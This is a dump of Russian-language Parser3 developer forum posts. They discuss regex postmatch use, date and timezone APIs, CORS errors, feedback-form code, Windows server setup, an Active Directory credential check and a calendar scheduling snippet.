и забрать всё после этого совпадения (postmatch)\
\
[code]\
\
$str[/   A    /  B    /  C  / D  //F////G]\
#  ^^/*  .+   /  .+   /  \
\
#   |      match      |   postmatch?      |\
\
\
^str.match[^^/*.+/.+/][nU]{$match.postmatch}\
\
т.к. есть явное указание к началу строки, то ожидал, что\
в $match.match = я должен однозначно получить /A/B/\
\
а в $match.postmatch = C/D//F////G\
\
но $match.match содержит тоже = C/D//F////G\
\
[/code]\
\
и все молчат что в данной ситуации происходит, а  ведь хочется знать :)"
"83545","В особенности многократно повторяющимися слешами.\
\
Похоже, что вы пытаетесь решить некорректно поставленную задачу не очень подходящим для этого инструментом.\
\
Сформулируйте задачу: что это за «путь», откуда появляется и зачем его разбивать на части по подобным критериям."
"83546","Вы случаем велосипед по разбору url не изобретаете? Если ваши пути столь нестабильны (разное количество слешей, кусок нужен с произвольного места), то я бы сделал по другому, написал бы функцию, которая принимает путь и делает несколько простых вещей:\
\
1. удаляет повторяющиеся слеши ^str.match[/+][g]{/}\
2. срезает концевые слеши ^str.trim[/]\
3. делает и возвращает из строки таблицу ^str.split[/;lv] с сегментами\
\
При желании из нее можно и хеш сделать а потом из этой структуры легко получить любой сегмент, диапазон и т.п.\
\
Решать задачу сложными регулярками если вы в них не особо - не рекомендую. Сейчас напишете, а через месяц уже не будете помнить что тут происходит."
"83548","по факту вы не понимаете вообще о чем эти каракули.\
\
[code]$str[/A/B/C/D//F////G]\
\
^str.match[^^[^^/]+/[^^/]+/(.*)^$][]{$match.1}[/code]\
\
Работает это примерно так - регекс-машина берет написанный вами шаблон и сверяет его со строкой\
1. ^^ - текс, начало строки, занимаем позицию\
2. [^^/] - ага, у нас тут символ, точнее любой кроме этого (кроме слеша)\
3. +  - и символов этих должно быть как минимум один\
4. берем первый символ строки (/) - не совпадает, поиск закончен, дальше даже не пробуем.\
\
Когда вы + меняете на *:\
1, 2 - тоже самое\
3. * символ может быть, а может и нет..\
4. берем первый символ строки (/) - не совпадает, да ну и фиг с ним, нам же дядя программист сказал, что это не обязательно, идем дальше\
5. / - должен быть слеш, есть, как раз в начале строки, дальше\
6. [^^/]* - аналогичная группа, но тут уже совпадение нашлось (A), идем дальше\
7. / - ну вроде тоже есть, дальше\
8. (.*) - о, а тут пофиг что (а может и вообще ничего *), но до конца строки и положить в переменную (попадет в $match.1)\
\
тут сразу видно, что строгость первого выражения по сути отловила вам ошибку, в которой вы не стали разбираться (надо то всего лишь / в начало регулярки поставить), а просто уменьшили строгость выражения. Так делать не стоит, к тому же все эти \"может быть, а может и нет\" (*) довольно ощутимо понижают производительность регулярки"
"83549","Да, именно так и сделал изначально.\
И да это для урла\
\
1.Удалил двойные и более слеши\
2.Обрезал боковые (поэтому мухлеж с начальным слешем, это уже просто интерес)\
\
3.А далее, мне нужно разделение на 2 сегмента:\
 3.1. До первого слеша \
 3.2. И вся строка после второго\
\
Потому, что это отдается другому обработчику в зависимости от того, что в первом сегменте\
и тот уже сам решает сплитовать это по слешам и как \"роутить/парсить\" свой делигированый кусок урла.\
\
И для этого сплитовать изначальную строку на parts.0~100 чтобы потом склеить обратно parts.1-100 и отдать обработчику - как-то не в духе хорошего решения."
"83550","Вот тут описал суть (вполне банальная, ничего странного)\
http://www.parser.ru/forum/?id=83549"
"83553","среди кучи советчиков в стиле \"вы не понимаете\"\
\
я так и не услышал от \"понимающих\" - ответ на главный вопрос:\
\
Я написал в от такой код (для получения всего после второго слеша, \
принебрегая начальным):\
\
[code]\
работает де факто - это одинаково корректно,\
и в обоих случаях, \
для\
\
$str[/A/B/C/D//F////G]\
и\
$str[A/B/C/D//F////G]\
\
^str.match[^^/*.+/.+/][nU]{$match.postmatch}\
\
\
я получаю в  $match.postmatch = C/D//F////G\
\
[/code]\
\
выглядит это короче, лаконичнее и не вычисляет таблицу со 100 элементами\
потому, что сплиттинг всех кусков между всеми слешами мне не нужен.\
\
Основной вопрос был изначально в том, чтобы прокомментировать match и postmatch\
и в чем я ошибаюсь (если ошибаюсь) и какие грабли именно в этой реализации.\
\
Де факто же код работает, но т.к. я не уверен в match/postmatch то в этом и была суть вопроса.\
\
По факту только шквал в стиле \"я умный - вы дурак\", и кучу помарок ошибок и не менее \"водяных трактовок\" регэкспа в стиле \"примерно, такс, фиг с ним\"."
"83554","Просто уже безотносительно того как надо, что надо и зачем.\
Чисто со спортивной точки зрения интересует правильно ли понимаю что там происходит,\
сделан он осознанно."
"83557","P.S.: Просто раздраженность и ирония одновременно в том, что вы \"отпинали\" не мой код, а предложенный на опр.стадии Misha и потом отредактированный Sumo. \
Я понимаю разницу между + и *\
\
А мой код, так и не прокомментировали, что в общем и требовалось попутно."
"83558","Просто аж до дрожи :) хочется или решить таким способом или понять почему нельзя таким способом решить:\
\
Хочу, именно логически разбить всю строку на 2 куска:\
\
1-ая часть чтобы совпала по шаблону с подстрокой от начала всей строки\
2-ая часть, чтобы осталась хвостом после 1-ой подстроки и до конца,\
и забрать её в $match.postmatch.\
\
Условие нормализованные и более жесткие: \
 - в начале и конце строки никаких слешей,\
 - никаких двойных и более слешей \
\
\
[code]\
Теоритически это должно было быть так?\
\
\
$str[A/B/C/D/E/F]\
^str.match[^^.+/.+/][nU']{$match.postmatch}\
\
шаблон довольно жестко должен совпасть с A/B/ \
U - инвертирует жадность, чтобы .+ не съел слеши\
' - по идее дает команду вычислять postmatch\
\
но де факто \
  - поле работает без неё\
  - а с ней при данном коде выводит двойное: C/D/E/FC/D/E/F\
\
[/code]\
\
Прям вот припекло чисто из спортивных соображений, как в данном случае использовать\
match/postmatch  ведь ход верный? Если мне не нужны множественные совпадения, зачем сразу\
расчехлять группы () и match.1  или я не понимаю postmatch ?"
"83560","[code]\
$str[A/B/C/D/E/F]\
^str.match[^^.+/.+/][U']{$match.postmatch}\
[/code]\
\
А попросили вы найти в начале символ-слеш-символ-слеш и заменить его на остаток строки после совпадения с регуляркой. Т.е. вы A/B/ в строке поменяли на C/D/E/F и получили C/D/E/FC/D/E/F.\
\
n вставлять не нужно — он имеет смысл только при поиске в строке, когда мы хотим понять есть в строке совпадение в шаблоне или нет. Обычно это пишут в if'е — ^if(^str.match[^^A/B/][n]){в начале строки есть A/B/}.\
\
p.s. Не надо раньше времени применять «оптимизации». Используйте группы."
"83561","... то напишите:\
\
[code]\
^str.match[^^.+?/.+?/][][]\
[/code]\
\
Что в переводе на русский означает: удалить в начале строки последовательность символ-слеш-символ-слеш (символ == один или более символов :).\
\
Понятно, что в оригинальной строке ничего не изменится — Парсер вернет новую строку без префикса A/B/.\
\
Еще вариант:\
[code]\
  $null[^str.match[^^.+?/.+?/][]{$postfix[$match.postmatch]}]\
  $postfix\
[/code]"
"83562","Точно, каюсь, замена же.\
Поэтому и получаю двойной результат."
"83565","Спасибо, почти восстановили"
"83566","Здравствуйте, подскажите пожалуйста как обойти ошибку с подключением Call Me?\
\
Ошибка следующего характера: \
[code]\
sait.ru/:1 Uncaught SyntaxError: Unexpected token <\
(index):1 XMLHttpRequest cannot load http://static.sait.ru/js/callme/templates/form.html. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://sait.ru.ru' is therefore not allowed access.\
callme.js:202 Uncaught TypeError: cmeForm.css is not a function\
[/code]\
\
Если перейти по ссылки http://static.sait.ru/js/callme/templates/form.html то можно наблюдать такую картину - http://uploads.ru/3hqz5.png\
\
Т.е. получается файл form.html не срабатывает."
"83567","Добрался до тикета. :)\
\
[quote]это баг :)[/quote]\
\
Не совсем понимаю, в каком месте баг? У нас по факту любой конструктор можно вызвать\
как динамический метод.\
\
[code]$h[ $.1[1] ]\
^h.create[ $.2[2] ]\
[/code]\
\
[quote]Причём, второй вызов конструктора возвращает не дату или void, а строку.[/quote]\
\
Нет, он на самом деле ничего не возвращает. Если проверять подобным образом: $s[^if(0){}], то в $s будет пустая строка (такая конструкция эквивалентна $s[]). void будет только если то, что внутри скобок явно возвращает void."
"83568","[quote]И фактически дата — изменяемый тип.[/quote]\
\
^d.set тут плохой пример, поскольку он заменяют дату на новую. А вот ^d.roll - да, меняет дату и этого в общем никто не скрывал. :)\
 \
Что же касается задачи, то мне на практике попадаются задачи формирования диапазонов. И тут текущая реализация ничем не хуже:\
\
[code]$d[^date::create($d.year;$d.month;1;0;0;0)]\
$d[^date::create($d.year;$d.month;^d.last-day[];23;59;59)]\
\
$d.day(1) $d.hour(0) $d.minute(0) $d.second(0)\
$d.day(^d.last-day[]) $d.hour(23) $d.minute(59) $d.second(59)[/code]\
\
Разве что может имеет смысл добавить что-нибудь типа ^d.set-time(h;m;s), для изменения времени в дате."
"83569","[quote]Что же касается задачи, то мне на практике попадаются задачи формирования диапазонов. И тут текущая реализация ничем не хуже[/quote]\
\
Я понимаю, что дата — объект компактный, но мне не нравится при каждом изменении создавать новую.\
Вместо того, чтобы создавать новый объект или делать roll (который не умеет смещать время), можно было бы просто и наглядно изменять поля.\
\
К тому же, roll умеет сдвигать только одно поле — прямое изменение поля (без создания нового объекта) гораздо более гибко.\
\
[quote]Разве что может имеет смысл добавить что-нибудь типа ^d.set-time(h;m;s), для изменения времени в дате.[/quote]\
\
Есть же roll, [url=http://www.parser.ru/forum/?id=82506]добавить которому работу с временем[/url], по-моему, гораздо лучше, чем добавлять новый метод только для времени."
"83570","[quote]Вместо того, чтобы создавать новый объект или делать roll (который не умеет смещать время), можно было бы просто и наглядно изменять поля.[/quote]\
\
Ну так ничего не мешает делать это через ^d.set. :)\
\
[quote]Есть же roll, добавить которому работу с временем, по-моему, гораздо лучше, чем добавлять новый метод только для времени.[/quote]\
\
roll - это сдвиг. Для диапазонов обычно нужно конкретные значения H:M:S задавать."
"83571","[quote]Ну так ничего не мешает делать это через ^d.set.[/quote]\
\
Так, [i]не документировано == может перестать работать[/i].\
\
[quote]Для диапазонов обычно нужно конкретные значения H:M:S задавать.[/quote]\
\
Я понимаю.\
\
Неясно, только, зачем метод вместо прямого изменения времени.\
Если, конечно, с изменением полей нет внутренних сложностей."
"83572","[quote]Так, не документировано == может перестать работать.[/quote]\
\
Можно ^d.create[] вызывать (note: не ^d::create), он-то документирован. :)\
\
[quote]Неясно, только, зачем метод вместо прямого изменения времени.[/quote]\
\
Ну например короче:\
[code]^d.set-time(23;59;59)\
$d.hour(0) $d.minute(0) $d.second(0)\
[/code]\
\
[quote]Если, конечно, с изменением полей нет внутренних сложностей.[/quote]\
\
Меня несколько смущает, что часть полей будут read-only:\
$date.weekday $date.week $date.weekyear $date.yearday $date.daylightsaving\
\
Но по сути не принципиально. Если гарантируешь, что функциональность в виде изменения полей будет использоваться - сделаю. :)"
"83573","У меня сайт по https почему не открывается. Данные с формы отправляет через https при этом на странице выдается ошибка 404\
\
Да и вообще при открытии https://sait/stranica ошибка 404. \
\
Может, в .htaccess нужно что-то прописать?"
"83574","[quote]Можно ^d.create[] вызывать (note: не ^d::create), он-то документирован. :)[/quote]\
\
Это хак!\
\
[quote]Ну например короче:\
^d.set-time(23;59;59)\
$d.hour(0) $d.minute(0) $d.second(0)[/quote]\
\
Да, но методом время нужно менять целиком.\
\
[quote]Меня несколько смущает, что часть полей будут read-only:\
$date.weekday $date.week $date.weekyear $date.yearday $date.daylightsaving[/quote]\
\
Согласен.\
Но такова уж их суть.\
\
[quote]Если гарантируешь, что функциональность в виде изменения полей будет использоваться - сделаю.[/quote]\
\
У меня — точно будет использоваться."
"83575","Например, по иному протоколу, нежели у страницы-источника запроса.\
\
Вам и пишут:\
[quote]No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://sait.ru.ru' is therefore not allowed access.[/quote]\
\
Либо делайте всё в рамках одного протокола и хоста, либо установите указанный заголовок, разрешающий кроссдоменные запросы.\
\
http://stackoverflow.com/questions/20035101/no-access-control-allow-origin-header-is-present-on-the-requested-resource/#20035319"
"83576","Перенес Call Me с поддомена на домен и все заработало..."
"83577","я не понял чего вы хотите\
\
1. [quote]И вроде все хорошо, но когда нажимаешь оправить он [b]почему-то[/b] отправляет данные не с http, а с https.\
\
...\
\
P.S. Сертификаты SSL тоже отсутствуют.\
[/quote]\
\
2. [quote]У меня сайт по https почему не открывается. Данные с формы отправляет через https при этом на странице выдается ошибка 404[/quote]\
\
Сначала вас удивляло и явно не устраивало что форма уходит на https, которого у вас нет ясный пень хотя бы потому что по вашему же нет SSL сертификатов.\
Теперь вас не устраивает что у вас почему то нет https. В принципе https без SSL сертификата работать не сможет.\
\
Изложите пожалуйста более четко вашу мысль? Впрочем к парсеру это всё не имеет никакого отношения, вам лучше бы задать эти вопросы вашему хостеру или тому кто сопровождает ваш сервер"
"83578","[quote]У меня — точно будет использоваться.[/quote]\
\
Ну тогда можно пользоваться, уже есть в ночных сборках. :)"
"83580","Здравствуйте, у меня стандартная форма обратной связи. http://www.parser.ru/examples/feedback/\
\
[code]\
....\
@send[sTo;sFrom][dtNow]\
$dtNow[^date::now[]]\
^mail:send[\
$.to[$sTo]\
$.from[^if(^Lib:isEmail[$form:email]){$form:email}{$sFrom}]\
$.charset[$response:charset]\
$.subject[Обратная связь с сайта http://$env:SERVER_NAME/]\
$.text[Пользователь: $form:name\
^if(def $form:email){E-mail: $form:email^#0A}Комментарий:\
$form:phone^#0A^#0AСообщение отправлено: ^dtNow.sql-string[]]\
^if($form:attach is \"file\"){\
$.file[$form:attach]\
}\
]\
$result[][/code]\
\
На почту соответственно приходит письмо типа: \
[quote]Пользователь: \
E-mail: \
Комментарий:\
\
Сообщение отправлено: 2016-07-24 18:37:14[/quote]\
\
Подскажите пожалуйста, как добавить в эту форму ссылку на страницу с которой был сделан запрос.\
\
Чтобы на почту приходило письмо \
\
[quote]\
Пользователь: \
E-mail: \
Комментарий:\
\
Сообщение отправлено: 2016-07-24 18:37:14\
\
Страница с запросом: (соответственно ссылка на страницу, откуда был пользователь отправил данные)\
\
Спасибо.\
[/quote]\
\
Спасибо."
"83581","здесь про него:\
http://htmlbook.ru/samhtml5/formy/skrytoe-pole\
\
как value=\"$request:uri\"\
здесь про него:\
http://www.parser.ru/docs/lang/?requesturi.htm"
"83582","В примитивном случае — просто $request:uri в теле письма."
"83584","В if выражении второе \"или\" не срабатывает, если срабатывает хотя бы первое.\
\
А в первом выражении как раз основной набор, с учётом что не каждый android-девайс мобильный (телики там, еще что-то).\
\
И он в принципе и есть превентивный фильтр, а потом уже идет маньяческий, но тоже оптимизированный - которому (если верить автору) достаточно первых 5-и символов HTTP_USER_AGENT, видимо тоже это всё предварительно было разложено и статистически отсортировано.\
\
В общем, i want to believe"
"83585","Не всё так просто. Регулярное выражение еще будет откомпилировано и переведено во внутреннее представление, соответственно чем оно больше, тем медленнее это будет происходить и тем больше памяти сожрет. Все это конечно не имеет значения если надо проверить одну-две строки. Но если например надо логи обрабатывать я бы задумался"
"83586","Это понятно, (для этого есть компиляция регэкспа).\
А логи, да. Это не для логов. \
Это с вероятностью 90-95% корректно определить мобильное устройство.\
\
А так есть решения посерьезнее, на Сях - детектят менее, чем за 0.1 ms но платные, зато с поддержкой и актуализацией."
"83587","Пример:\
\
У меня есть переменная $peremennya. Если ей не указанно значение, на странице будет пустое месте. Можно написать условие ^if(!def $peremennya){$peremennya[^$peremennya]}. И все будет как надо. Но если у меня в проекте таких переменных 100, для каждой персональное условие писать нецелесообразно. \
\
Можно ли применить условие сразу ко всем пустым переменным?"
"83588","Добрый день.\
Parser/3.4.4 (compiled on x86_64-unknown-linux-gnu)\
При переезде файлов с WINDOWS-1251 на UTF-8 возникают ошибки:\
[code]UTF-8 validation failed during pcre_exec (-10).[/code]\
Думал, что ключ u поможет, но не прокатило:\
[code]^sText.match[...][u]{...}[/code]\
Результат:\
[code]match\
called with invalid option[/code]\
Из документации:\
[code]u - unicode; [3.4.2][/code]\
\
Где почитать, для чего нужен ключ u?\
И почему он не является недопустимым, хотя в доке указан?"
"83589","[quote]UTF-8 validation failed during pcre_exec (-10).[/quote]\
\
Ошибка означает, что регулярное выражение применяется к не UTF-8 данным. Можно \"поймать\" исключение, вывести данные и разобраться откуда они поступают (например соединение с базой данной осталось в Windows-1251 или не все файлы перекодированы).\
\
[quote]Думал, что ключ u поможет, но не прокатило: [/quote]\
\
Ничего не поможет. Сам парсер может работать с некорректными UTF-8 данными, а вот библиотека регулярных выражений - не умеет."
"83590","А почему ключ u не работает, хотя в доке указан?\
До некорректного UTF-8 даже не доходит, ломается на ключе."
"83591","Ну так u включает unicode, а вам нужно его выключить. \
Вообще непонятно с какой версии PCRE стал поддерживать [b]только [/b] Unicode?"
"83592","На текущем этапе мне уже интересно, почему не работает задокументированный ключ.\
Это баг?"
"83593","Я могу ошибаться, но я так понимаю он не то чтобы не работает, он работает на постоянной основе и отключить его нельзя ;)"
"83594","... то флаг u включается автоматом. Означает флаг u, что в метаклассы \\w, \\s и прочие включены unicode-properties, а не ограниченный набор ascii-символов."
"83595","То есть если перед match поставить $request:charset[windows-1251] - то u отключится?"
"83596","Вариант сделать это отдельным флагом рассматривался (#294), но по факту оно включается автоматом если кодировка UTF-8."
"83597","Как и понимание многобайтовых символов."
"83598","Вам хочется очень странного и было бы не менее странно иметь в языке для подобного специальный функционал.\
\
Напишите себе метод или оператор и выводите все необходимые переменные с его помощью."
"83599","Положить переменные в хеш:\
[code]\
  $vars[\
     $._default[нет данных]\
     $.one[1]\
     $.two[2]\
  ]\
  $vars.one - $vars.four\
[/code]\
\
Либо сделать класс со свойством GET_DEFAULT. Второй способ полезен, если переменные лежат в базе или логика определения значения «по-умолчанию» нетривиальная.\
\
p.s. У меня такой проблемы никогда не было. Пишу везде где нужно if(def ...) — это удобно и не нужно мучительно вспоминать откуда вылезло неявное значение."
"83600","что методы есть.\
\
Можно и маркеров в тексте наставить, а потом заменить только те, что имеют значения.\
\
Я о том, что нет волшебного переключателя.\
Так или иначе придётся выводить переменные через прослойку с логикой вывода значения по умолчанию."
"83601","Если у вас возникла задача - одинаковое значение по-умолчанию для множества (100) переменных, то это сильно похоже на то, что вам надо вооружиться структурой данных более высокого порядка (где есть всё необходимое), нежели использовать \"батарею\" плоских переменных.\
\
Как уже сказали - хеш, пожалуй, лучший выбор.\
Более того, он дает еще и удобство \"именованных аргументов\", для которых порядок следования не важен.\
\
Пример:\
[code]\
@main[]\
\
^mymethod[\
   $.A[A1]\
   $.D[D1]\
]\
\
\
@mymethod[_arg]\
$param[                      ^rem{# default-ные значения  }\
   $._default[DefCommon]     ^rem{# общий default для всех ключей }\
   $.A[DefA]                 ^rem{# плюс частные default-ы для A и B }\
   $.B[DefB]\
]\
^param.add[$_arg]            ^rem{# сложение default-ного хеша с входным }\
\
VarA = $param.A\
VarB = $param.B\
VarC = $param.C\
\
# а заданная $.D - не используется нашим методом, хотя и есть на входе\
-------------------------------------------\
\
Результат:\
\
VarA = A1\
VarB = DefB\
VarC = DefCommon \
\
\
[/code]\
\
\
\
В том числе, есть и \"резиновый\" аргумент для неопределенного числа заданных входных переменных, который тоже возвращает хеш, который в свою очередь умеет _default-значение. Но будет уже привязка к порядку следования аргументов.\
\
Пример:\
[code]\
@main[]\
\
^mymethod[]\
^mymethod[A]\
^mymethod[A;B]\
^mymethod[;B]\
\
\
@mymethod[*vars]               ^rem{# починит уже кто-то подсветку кода? }\
$vars[^hash::create[$vars]]    ^rem{# принудительное создание хеша, на случай пустого входного значения }\
$vars._default[DefValue]  \
\
$result[\
Par1 = $vars.0             ^rem{# в случае отсутствия любой из них }\
Par2 = $vars.1             ^rem{# вернет ValueDefault }\
------------------\
]\
\
\
\
Результат:\
\
Par1 = DefValue\
Par2 = DefValue\
-------------------\
\
Par1 = A\
Par2 = DefValue\
-------------------\
\
Par1 = A\
Par2 = B\
-------------------\
\
Par1 = DefValue\
Par2 = B\
-------------------\
\
[/code]\
\
\
Первый вариант намного сподручнее и удобнее."
"83602","[quote]Либо сделать класс со свойством GET_DEFAULT[/quote]\
\
[code]@GET_DEFAULT[name]\
$result[$name]\
[/code]\
\
Такое можно и в main определить. И оно в общем даже будет работать, если в auto.p объявить $MAIL[]. @postprocess тоже вызовется, но такая реализация для него вполне подходит. Но лучше конечно так не делать, а то устанешь спецэффекты разбирать. :)"
"83603","[quote]Вдогонку предлагаю разрешить в string-режиме указывать пустое значение столбца значений [/quote]\
\
Сделано, как и ^table.hash{…;…}.\
\
[quote] чтобы получать void-значение ключа. [/quote]\
\
Только пустая строка будет получаться, а не void, поскольку $.type[string] все-таки подразумевает возврат строки, а не других типов."
"83604","[quote]Сделано, как и ^table.hash{…;…}.[/quote]\
\
Спасибо, буду применять.\
\
Чем ближе 3.4.5, тем массированней возможный рефакторинг.\
Треть кода можно будет выкинуть на ненадобностью."
"83605","Добрый вечер! Надо глобально для всех действий с датами задать часовой пояс, \
а ^date:roll[TZ;MSK-5], указанный в auto.p, выдает \
\
roll\
\
is not allowed to be called statically\
\
Что сделать?"
"83608","Спасибо, дошло версию проверить. Очень лохматая там была.\
\
Еще тогда вопрос - как оно считает TZ вида MSK+2? Из предположения, что локальное время сервера в UTC? Или время на сервере может быть и местным, и парсер будет учитывать tz сервера?"
"83609","[quote]Еще тогда вопрос - как оно считает TZ вида MSK+2[/quote]\
\
\"задав системное имя нового часового пояса. Список имен см. в документации на вашу операционную систему, ключевые слова: «Переменная окружения TZ».\"\
\
Все на откуп OS, мы просто ставим переменную окружения. \
\
\"The value of TZ can be one of three formats.  The first format is used when there is no daylight saving time in the local timezone:\
\
             std offset\
\
The std string specifies the name of the timezone and must be three or more alphabetic characters.  The offset string immediately follows std and specifies the time value to be added to the local  time  to  get Coordinated Universal Time (UTC).  The offset is positive if the local timezone is west of the Prime Meridian and negative if it is east.  The hour must be between 0 and 24, and the minutes and seconds 0 and 59. \""
"83610","Благодарю! Все работает"
"83612","[quote]С заголовками ответа думаю логичнее поступить так же, как сделано в ^file::load[][/quote]\
\
Некоторое время назад реализовано в HEAD."
"83613","[quote]Быть может, стоит делать перекодирование при создании text-файла на основе binary-файла?[/quote]\
\
И это, и $.from-charset[]."
"83615","Требуется помощь в оживлении проекта.\
Сайт работал на http://parser2.parser.ru/download/ версия для FreeBSD 6.1\
MySQL версии 4.1\
\
Хостинг прикрыли где лежал сайт и сказали, что будет трудно найти где его захостить.\
Нужно подобрать хостинг и там запустить проект. Возможно проще будет обновить и перевести на новую версию.\
\
Кто заинтересован в выполнении, контакты:\
legionerust@yandex.ru"
"83616","Вопрос именно на наличие каких-то парсерных синтаксических приемов, если таковые имеются в конкретном случае.\
\
В остальном наверное проще предварительно присвоить опять же упорядоченному хешу и прогнать его.\
\
Имеем что-то типа:\
[code]\
$_param1[1]\
$_paramB[B]\
$_paramV[V]\
$_param2[2]\
\
Надо конкатенировать строку \"встык\", без каких либо пробелов, переносов, табов и проч.служ.символов.\
\
Синтаксис стандартного вида\
$_concat[${_param1}${_paramB}${_paramV}${_param2}]\
\
для 20-30 переменных -> делает код нечитабельным и трудноотлаживаемым.\
\
[/code]"
"83617","[code]\
@concat[a;b;c;d;...][result]\
$a\
$b\
$c\
$d\
...\
[/code]\
\
ну или *args + foreach\
только... вам действительно такое требуется?"
"83618","[quote]только... вам действительно такое требуется?[/quote]\
\
ну да, просто частный случай, требующий конкатенации кучи одно-байтных параметров в одну строку (такой уж интерфейс, не мой).\
\
Решил, что таки предварительно собрать внятный и читаемый хеш - в разы нагляднее, и крутануть его сверху-вниз или поменять что-то местами - в разы проще и нагляднее, хоть."
"83619","В документации я нашел (пока) только в разделе класса int,double,bool, которая открыто гарантирует, что\
\
[code]\
0 = false, !0 = true\
в применении к методу .bool\
\
т.е. правило официально в документации декларировано только для кода вида\
$_str[1]\
^if(^_str.bool(false)){ TRUE }{ FALSE }\
\
но де-факто, работает и применяется в сторонних исходниках:\
\
^if(^_str.int(0)){ TRUE }{ FALSE }\
\
[/code]\
\
Т.к. по правилу недокументированной фичи: \
[quote]недокументировано, значит всегда может сломаться,[/quote]\
можно ли надееться, что такое правило в выражении - не сломается в будущем?"
"83623","Напишите мне, помогу.\
Совсем недавно делал на п2 и фряхе аналогичное"
"83625","Никак, но ничего не мешает при вызове ^date:roll[TZ;timezone] сохранить timezone в переменную. :)"
"83628","Нет. Если нужно, то переменная окружения ставится, но только на время вызова функции работы с датами, а потом восстанавливается исходное значение."
"83630","Да и делать неудобно - класс, где объявлена default_tz - в .C и поэтому переменная недоступна из date.C."
"83631","Нет возможности использовать эти опции? Как после запроса сохранить пришедшие куки сервера? Как использовать их в следующем запросе?"
"83632","3.4.3:\
\
\"При загрузке файла с помощью ^curl:load[] теперь производится разбор всех полученных от удалённого сервера cookies и помещение их в таблицу .cookies со столбцами name, value, expires, max-age, domain, path, httponly и secure.\"\
\
Использовать\
\
cookie string	CURLOPT_COOKIE	Строка с куками. \
или \
cookielist string CURLOPT_COOKIELIST\
\
Формат описан в документации по libcurl."
"83634","Подскажите как запустить Parser под Виндой через Nginx?\
\
Где взять FastGCI ?\
Или достаточно прописать чтото типа:\
        fastcgi_pass    С:/Parser/parser.exe;\
\
??"
"83636","по вашей ссьілке конфиги под врапперь юниксовьіе.\
FastCGI wrap под винду не нашел вообще (вероятно не там искал)"
"83637","В интернетах пишут так: [url=\"https://forum.nginx.org/read.php?2,234982,234998\"]https://forum.nginx.org/read.php?2,234982,234998[/url]\
У меня теперь Windows только в виртуалках остался, так что больше боюсь ничем не помогу. :)"
"83638","пока плюнул на nginx, поднял IIS теперь с ним долбаюсь.\
\
вьідает 500 - Internal server error хоть тресни.\
Windows Server 2008 R2 Ent"
"83639","стандартньій тест с поставки Parser 3.4.4\
\
[Fri Aug 12 18:35:17 2016] [1032] /index.html?: Q:/SB.WEB/SBRP/htdocs/test.html(136:47): 'upper' change_c\
ase_UTF8 error: end pointers do not match [<no type>] [uri=/index.p3h?, method=GET, cl=0]"
"83643","а можно както проверить Parser`ом логин и пароль в Active Directory ?\
Парсер на винде под IISом\
\
Достаточно получить true|false"
"83644","Код ниже не работает.\
[code]\
$_file[^file::load[binary;/dir/dir:2/file.txt]]\
\
при этом, в никсах всё корректно живет и отзывается Apache-ем напрямую\
[/code]"
"83645","Был у меня как-то проект, внутренний сервис для одного предприятия. И сделал мне знакомый рукастый сисадмин такую вещь, на apache правда, загнал сервер с сайтом в домен предприятия, 20 минут все настроил (у меня остался только htaccess который он мне дал, что он там вообще делал не знаю)\
По итогу из под любого пользователя винды из active directory заходя на сайт, проводилась прозрачная проверка (пользователь даже не знал об этом и свой пароль никогда и не вводил) \
В случае успешной проверки, в переменную сервера ложилось имя пользователя. А уже оттуда ее можно читать и парсером и php и всем чем угодно. \
\
\
\
Ну или написать какой нить батник в котором проверять пользователя и юзать его в парсере?"
"83646","Список примерно в таком виде существует с 2002 года:\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/untaint.C?view=markup\
\
78 inline bool need_file_encode(unsigned char c){\
79 	        // russian letters and space ENABLED\
80 	        // encoding only these...\
81 	        return strchr(\
82 	                        \"*?\\\"<>|\"\
83 	#ifndef WIN32\
84 	                        \":\\\\\"\
85 	#endif\
86 	                        , c)!=0;\
87 	}\
\
На Windows : и \\ можно, поскольку там есть пути вида c:\\filename.\
\
Про : пишут такое:\
\
[quote]the colon (:) is not a good idea, since it's commonly used in stuff like $PATH, i.e. the list of directories where executables are found \"automatically\".[/quote]"
"83647","Просто был \"красивый частный случай\", \
где используются разделение имя:значение."
"83649","даю только саму функцию проверки (в основном сюда - для себя, бо потом же забуду :) )\
[code]\
private const int ERROR_LOGON_FAILURE = 0x31;\
\
private bool ValidateCredentials(string username, string password, string domain)\
{\
  NetworkCredential credentials\
    = new NetworkCredential(username, password, domain);\
\
  LdapDirectoryIdentifier id = new LdapDirectoryIdentifier(domain);\
\
  using (LdapConnection connection = new LdapConnection(id, credentials, AuthType.Kerberos))\
  {\
    connection.SessionOptions.Sealing = true;\
    connection.SessionOptions.Signing = true;\
\
    try\
    {\
      connection.Bind();\
    }\
    catch (LdapException lEx)\
    {\
      if (ERROR_LOGON_FAILURE == lEx.ErrorCode)\
      {\
        return false;\
      }\
      throw;\
    }\
  }\
  return true;\
}\
[/code]"
"83652","Доброго времени суток. Всем мира и добра. \
Делаю календарную сетку мероприятий и начал очень сильно троить...\
Есть 2 мероприятия со свободным промежутком между ними в 30 минут, как поставить условие на то, чтобы можно было добавить только мероприятие длительностью 30 минут.\
Время начала и окончания обоих мероприятий хранится в таблицах, длительность мероприятий также хранится в таблицах. \
Время начала мероприятия получаю с формы, а время окончания высчитывается.\
Заранее спасибо, и не сочтите за неуважение, задавать такой вопрос."
"83654","$othrow_date[^date::create[${form:ed_year}-${form:ed_month}-${form:ed_day}]]\
$othrow_time[^date::create($othrow_date.year;$othrow_date.month;$othrow_date.day;$form:event_start_hour;$form:event_start_minute)]\
$oSome_event[^int:sql{select event_duration from bcalendar_events where id='$category.id'}]\
$oSE[^table::sql{select id from bcalendar_events where id='$category.id'}]\
$oEvent_end_time[^date::create($othrow_time+^eval($oSome_event/1440))]\
$oAll_today_events[^table::sql{select dt_start, dt_end from bcalendar where dt_start not between '^othrow_time.sql-string[]' and '^oEvent_end_time.sql-string[]'}]\
^oSE.menu{\
^if($oAll_today_events){\
	$oAtes[^date::create[$oAll_today_events.dt_start]]\
	$oAtee[^date::create[$oAll_today_events.dt_end]]\
	Извините, для выбранного интервала событие не подходит<br/>\
	Расчетный конец события $oSE.id - ${oEvent_end_time.year}-${oEvent_end_time.month}-${oEvent_end_time.day} ${oEvent_end_time.hour}:${oEvent_end_time.minute}<br />\
</td>\
}{\
<td><a href=\"add_to_calendar.html?id=$category.id&ed_year=$form:ed_year&ed_month=$form:ed_month&ed_day=$form:ed_day&event_start_hour=$form:event_start_hour&event_start_minute=$form:event_start_minute\">Добавить</a></td>\
}\
}"
